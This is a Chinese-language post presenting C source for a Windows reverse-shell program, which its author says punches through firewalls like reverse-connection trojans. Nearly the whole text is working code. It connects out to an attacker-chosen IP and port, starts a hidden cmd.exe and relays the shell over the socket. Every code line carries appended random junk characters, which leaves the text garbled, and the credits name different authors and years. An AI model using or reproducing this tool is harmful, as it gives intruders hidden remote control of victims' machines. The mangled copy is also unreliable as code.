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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q]}aZ4L  
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/* ============================== J~[A8o  
Rebound port in Windows NT dkRG4 )~g  
By wind,2006/7 O1_dA%m  
===============================*/ tzeS D C  
#include szy^kj^2  
#include Iv5 agh%  
hh!^^emo  
#pragma comment(lib,"wsock32.lib") ,mE*k79L6  
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void OutputShell(); +EWfsKz  
SOCKET sClient; D<2|&xaR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .l->O-=  
i2EXE0;  
void main(int argc,char **argv) xN +j]L C  
{ dm&vLQVS  
WSADATA stWsaData; ~#b&UR  
int nRet; .WR+)^&zz  
SOCKADDR_IN stSaiClient,stSaiServer; Z+< zKn}  
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if(argc != 3) T*%Q s&x ;  
{ A:3:Cr  
printf("Useage:\n\rRebound DestIP DestPort\n"); zl W 5$cC[  
return; -nQ:RHnd  
} ~fE6g3  
Zw[A1!T,  
WSAStartup(MAKEWORD(2,2),&stWsaData); BQ ol>VRu  
t6u01r{~`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }!-K)j.  
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stSaiClient.sin_family = AF_INET; :Sx!jx>W  
stSaiClient.sin_port = htons(0); )PU?`yLTr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #UcqKq  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D4x~Vk%H  
{ x*A_1_A  
printf("Bind Socket Failed!\n"); $~V,.RD  
return; 'ju{j`b  
} Rmrv@.dr!  
>!vb;a!  
stSaiServer.sin_family = AF_INET; P-?ya!@"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y/ #{pyJ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *jps}uk<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (P-Bmu!s  
{ mE"?{~XVL  
printf("Connect Error!"); (YbRYu  
return; d5zF9;[  
} :h>d'+\  
OutputShell(); 4&Uq\,nx  
} AiT&:'<UT  
j7vp@l6`L  
void OutputShell() L+}q !'8S  
{ ^&'&Y>  
char szBuff[1024]; )vFJx[a<n`  
SECURITY_ATTRIBUTES stSecurityAttributes; |(E.Sb  
OSVERSIONINFO stOsversionInfo; pr2b<(Pm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  p=Nord  
STARTUPINFO stStartupInfo; 2\xv Yf-  
char *szShell; 3%<Uq%pJ  
PROCESS_INFORMATION stProcessInformation; 2l)J,z  
unsigned long lBytesRead; A Z7  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o5(p&:1M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (GVH#}uB  
stSecurityAttributes.lpSecurityDescriptor = 0; =|lKB;  
stSecurityAttributes.bInheritHandle = TRUE; NzmVQ-4  
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+UxhSFU  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l:O6`2Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "#4p#dM0e  
8KioL{h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N`tBDl"ld  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~:Jw2 P2z  
stStartupInfo.wShowWindow = SW_HIDE; Jl^Rz;bQ-  
stStartupInfo.hStdInput = hReadPipe; @_tQ:U,v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cSYW)c|t  
sE4= 2p`x  
GetVersionEx(&stOsversionInfo); HSk gS  
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switch(stOsversionInfo.dwPlatformId) AnV\{A^  
{ h 7feZ_  
case 1: Z&hzsJK{m$  
szShell = "command.com"; V0Cz!YM_3  
break; biCX: m+_?  
default: x/NR_~Rnk  
szShell = "cmd.exe"; qRg^Bp'VD#  
break; 289@O-  
} pu(a&0  
sp4J%2b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -e"~UDq`  
y$VYWcFE  
send(sClient,szMsg,77,0); +~O 0e-d  
while(1) mC P*v-  
{ 8SvPDGu `]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _zG9.?'b3  
if(lBytesRead) $MF U9<O  
{ PiD%PBmUl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HH>"J /;c,  
send(sClient,szBuff,lBytesRead,0); cTO\Vhg  
}  rO]7 g  
else ;-=Q6Ms8  
{ vc.:du  
lBytesRead=recv(sClient,szBuff,1024,0); lsV9-)yyl  
if(lBytesRead<=0) break; lW^bn(_gQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {*VCR  
} )J?Nfi%  
} ~n:dHK`  
Q:I2\E  
return; {shf\pm!o  
}
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